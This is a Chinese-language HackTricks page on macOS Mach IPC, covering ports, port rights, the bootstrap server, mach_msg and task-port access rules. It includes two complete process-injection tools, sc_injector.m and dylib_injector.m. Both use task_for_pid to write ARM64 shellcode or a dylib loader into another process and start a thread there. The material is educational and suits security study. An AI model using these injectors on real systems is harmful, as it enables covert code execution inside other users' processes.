macOS IPC - 进程间通信

Reading time: 28 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Mach 通过端口进行消息传递

基本信息

Mach 使用 任务 作为共享资源的 最小单位,每个任务可以包含 多个线程。这些 任务和线程与 POSIX 进程和线程 1:1 映射

任务之间的通信通过 Mach 进程间通信 (IPC) 进行,利用单向通信通道。消息在端口之间传输,这些端口像是由内核管理的 消息队列

每个进程都有一个 IPC 表,在其中可以找到 进程的 mach 端口。mach 端口的名称实际上是一个数字(指向内核对象的指针)。

一个进程还可以将一个端口名称和一些权限 发送给不同的任务,内核会在 另一个任务的 IPC 表 中显示这个条目。

端口权限

端口权限定义了任务可以执行的操作,是这种通信的关键。可能的 端口权限 是 (定义来自这里):

  • 接收权限,允许接收发送到端口的消息。Mach 端口是 MPSC(多个生产者,单个消费者)队列,这意味着在整个系统中每个端口只能有 一个接收权限(与管道不同,多个进程可以持有一个管道的读端文件描述符)。
  • 拥有 接收权限 的任务可以接收消息并 创建发送权限,允许其发送消息。最初只有 自己的任务对其端口拥有接收权限
  • 发送权限,允许向端口发送消息。
  • 发送权限可以被 克隆,因此拥有发送权限的任务可以克隆该权限并 授予给第三个任务
  • 一次性发送权限,允许向端口发送一条消息,然后消失。
  • 端口集权限,表示一个 端口集 而不是单个端口。从端口集中出队一条消息会从其包含的一个端口中出队一条消息。端口集可以用于同时监听多个端口,类似于 Unix 中的 select/poll/epoll/kqueue
  • 死名称,这不是一个实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有现有的对该端口的端口权限变成死名称。

任务可以将发送权限转移给其他任务,使其能够发送消息。发送权限也可以被克隆,因此一个任务可以复制并将权限授予第三个任务。这与一个称为 引导服务器 的中介进程结合,允许任务之间进行有效的通信。

文件端口

文件端口允许在 Mac 端口中封装文件描述符(使用 Mach 端口权限)。可以使用 fileport_makeport 从给定的 FD 创建一个 fileport,并使用 fileport_makefd 从 fileport 创建一个 FD。

建立通信

步骤:

如前所述,为了建立通信通道,引导服务器(在 mac 中为 launchd)参与其中。

  1. 任务 A 发起一个 新端口,在此过程中获得 接收权限
  2. 任务 A,作为接收权限的持有者,为该端口生成一个发送权限
  3. 任务 A引导服务器 建立 连接,提供 端口的服务名称发送权限,通过称为引导注册的过程。
  4. 任务 B引导服务器 交互以执行服务名称的引导 查找。如果成功,服务器复制从任务 A 接收到的发送权限将其传输给任务 B
  5. 在获得发送权限后,任务 B 能够 构造 一条 消息 并将其 发送给任务 A
  6. 对于双向通信,通常任务 B 会生成一个带有 接收 权限和 发送 权限的新端口,并将 发送权限授予任务 A,以便其可以向任务 B 发送消息(双向通信)。

引导服务器 无法验证 任务声称的服务名称。这意味着一个 任务 可能会 冒充任何系统任务,例如虚假 声称一个授权服务名称 然后批准每个请求。

然后,Apple 将 系统提供的服务名称 存储在安全配置文件中,位于 SIP 保护 的目录中:/System/Library/LaunchDaemons/System/Library/LaunchAgents。每个服务名称旁边,相关的二进制文件也被存储。引导服务器将为每个这些服务名称创建并持有一个 接收权限

对于这些预定义的服务,查找过程略有不同。当查找服务名称时,launchd 动态启动该服务。新的工作流程如下:

  • 任务 B 发起对服务名称的引导 查找
  • launchd 检查任务是否正在运行,如果没有,则 启动 它。
  • 任务 A(服务)执行 引导检查。在这里,引导 服务器创建一个发送权限,保留它,并 将接收权限转移给任务 A
  • launchd 复制 发送权限并将其发送给任务 B
  • 任务 B 生成一个带有 接收 权限和 发送 权限的新端口,并将 发送权限授予任务 A(服务),以便其可以向任务 B 发送消息(双向通信)。

然而,这个过程仅适用于预定义的系统任务。非系统任务仍然按照最初描述的方式操作,这可能会允许冒充。

一个 Mach 消息

在这里找到更多信息

mach_msg 函数,实质上是一个系统调用,用于发送和接收 Mach 消息。该函数要求将要发送的消息作为初始参数。该消息必须以 mach_msg_header_t 结构开始,后面跟着实际的消息内容。该结构定义如下:

c
typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

进程拥有 接收权 可以在 Mach 端口上接收消息。相反,发送者 被授予 发送一次性发送权。一次性发送权仅用于发送单个消息,之后将失效。

为了实现简单的 双向通信,进程可以在 Mach 消息头 中指定一个 mach 端口,称为 回复端口 (msgh_local_port),消息的 接收者 可以 回复 此消息。msgh_bits 中的位标志可用于 指示 应该为此端口派生并转移一个 一次性发送 MACH_MSG_TYPE_MAKE_SEND_ONCE)。

tip

请注意,这种双向通信用于期望回复的 XPC 消息(xpc_connection_send_message_with_replyxpc_connection_send_message_with_reply_sync)。但 通常会创建不同的端口,如前所述,以创建双向通信。

消息头的其他字段包括:

  • msgh_size:整个数据包的大小。
  • msgh_remote_port:发送此消息的端口。
  • msgh_voucher_portmach 代金券
  • msgh_id:此消息的 ID,由接收者解释。

caution

请注意 mach 消息是通过 _mach 端口_ 发送的,这是一个内置于 mach 内核的 单接收者多个发送者 通信通道。多个进程 可以 向 mach 端口发送消息,但在任何时候只有 一个进程可以从中读取

枚举端口

bash
lsmp -p <pid>

您可以通过从 http://newosxbook.com/tools/binpack64-256.tar.gz 下载该工具来在 iOS 上安装它。

代码示例

注意 发送者 如何 分配 一个端口,为名称 org.darlinghq.example 创建一个 发送权限 并将其发送到 引导服务器,同时发送者请求该名称的 发送权限 并使用它来 发送消息

c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

特权端口

  • 主机端口:如果一个进程对这个端口具有发送权限,他可以获取系统信息(例如 host_processor_info)。
  • 主机特权端口:一个对这个端口具有发送权限的进程可以执行特权操作,如加载内核扩展。进程需要是root才能获得此权限。
  • 此外,为了调用**kext_request** API,需要拥有其他权利**com.apple.private.kext***,这些权利仅授予Apple二进制文件。
  • 任务名称端口:_任务端口_的一个非特权版本。它引用任务,但不允许控制它。通过它似乎唯一可用的功能是 task_info()
  • 任务端口(又名内核端口):对这个端口具有发送权限可以控制任务(读/写内存,创建线程...)。
  • 调用 mach_task_self()获取调用者任务的端口名称。此端口仅在**exec()继承**;通过 fork() 创建的新任务会获得一个新的任务端口(作为特例,任务在suid二进制文件的exec()后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行 fork() 时进行"端口交换舞"
  • 访问端口的限制如下(来自二进制文件 AppleMobileFileIntegritymacos_task_policy):
  • 如果应用具有**com.apple.security.get-task-allow 权限**,则来自同一用户的进程可以访问任务端口(通常由Xcode在调试时添加)。公证过程不允许其用于生产版本。
  • 具有**com.apple.system-task-ports** 权限的应用可以获取任何进程的任务端口,除了内核。在旧版本中称为**task_for_pid-allow**。这仅授予Apple应用。
  • Root可以访问未使用 加固 运行时编译的应用程序的任务端口(并且不是来自Apple)。

通过任务端口在线程中注入Shellcode

您可以从以下位置获取Shellcode:

Introduction to ARM64v8

objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

编译之前的程序并添加权限以便能够以相同用户注入代码(如果不这样做,您将需要使用sudo)。

sc_injector.m
objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector

#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>


#ifdef __arm64__

kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);

kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);


#else
#include <mach/mach_vm.h>
#endif


#define STACK_SIZE 65536
#define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";


int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}

// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}

// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}


// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask,                   // Task port
remoteCode64,                 // Virtual Address (Destination)
(vm_address_t) injectedCode,  // Source
0xa9);                       // Length of the source


if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}


// Set the permissions on the allocated code memory
kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}

// Set the permissions on the allocated stack memory
kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}

// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t         remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8;  // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64  0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}

return (0);
}

pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue];
}

BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}

NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;

if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}

inject(pid);
}

return 0;
}
bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

通过任务端口在线程中注入Dylib

在macOS中,线程可以通过Mach或使用posix pthread api进行操作。我们在之前的注入中生成的线程是使用Mach api生成的,因此它不符合posix标准

能够注入一个简单的shellcode来执行命令是因为它不需要与posix兼容的api,只需与Mach兼容。更复杂的注入将需要线程符合posix标准

因此,为了改进线程,它应该调用**pthread_create_from_mach_thread,这将创建一个有效的pthread**。然后,这个新的pthread可以调用dlopen从系统加载一个dylib,因此不需要编写新的shellcode来执行不同的操作,而是可以加载自定义库。

您可以在以下位置找到示例dylibs(例如,生成日志的那个,然后您可以监听它):

Macos Dyld Hijacking And Dyld Insert Libraries

dylib_injector.m
objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>

#include <sys/stat.h>
#include <pthread.h>


#ifdef __arm64__
//#include "mach/arm/thread_status.h"

// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);

kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);


#else
#include <mach/mach_vm.h>
#endif


#define STACK_SIZE 65536
#define CODE_SIZE 128


char injectedCode[] =

// "\x00\x00\x20\xd4" // BRK X0     ; // useful if you need a break :)

// Call pthread_set_self

"\xff\x83\x00\xd1" // SUB SP, SP, #0x20         ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10        ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10         ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP                ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0                ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14              ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0                ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44               ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8                    ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop              ; loop forever

// Call dlopen with the path to the library
"\xC0\x01\x00\x10"  // ADR X0, #56  ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58"  // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2"  // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91"  // ADD   x9, x9, 0  - I left this as a nop
"\x00\x01\x3f\xd6"  // BLR X8     ; do dlopen()

// Call pthread_exit
"\xA8\x00\x00\x58"  // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2"  // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6"  // BLR X8     ; do pthread_exit

"PTHRDCRT"  // <-
"PTHRDEXT"  // <-
"DLOPEN__"  // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;




int inject(pid_t pid, const char *lib) {

task_t remoteTask;
struct stat buf;

// Check if the library exists
int rc = stat (lib, &buf);

if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}

// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}

// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}

// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}


// Patch shellcode

int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{

// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;


uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;

if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit  @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}

if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}

if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}

if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}

// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask,                   // Task port
remoteCode64,                 // Virtual Address (Destination)
(vm_address_t) injectedCode,  // Source
0xa9);                       // Length of the source


if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}


// Set the permissions on the allocated code memory
kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}

// Set the permissions on the allocated stack memory
kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}


// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t         remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8;  // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64  0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}

return (0);
}



int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, "   _action_: path to a dylib on disk\n");
exit(0);
}

pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;

int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}

}
bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>

通过任务端口进行线程劫持

在此技术中,进程的一个线程被劫持:

macOS Thread Injection via Task port

XPC

基本信息

XPC,即 XNU(macOS 使用的内核)进程间通信,是一个用于 macOS 和 iOS 上进程之间通信 的框架。XPC 提供了一种机制,用于在系统上进行 安全的异步方法调用。它是苹果安全范式的一部分,允许 创建特权分离的应用程序,每个 组件 仅以 执行其工作所需的权限 运行,从而限制被攻陷进程可能造成的损害。

有关此 通信如何工作 以及 可能存在的漏洞 的更多信息,请查看:

macOS XPC

MIG - Mach 接口生成器

MIG 的创建旨在 简化 Mach IPC 代码的生成过程。它基本上 生成所需的代码 以便服务器和客户端根据给定定义进行通信。即使生成的代码不美观,开发人员只需导入它,其代码将比之前简单得多。

有关更多信息,请查看:

macOS MIG - Mach Interface Generator

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks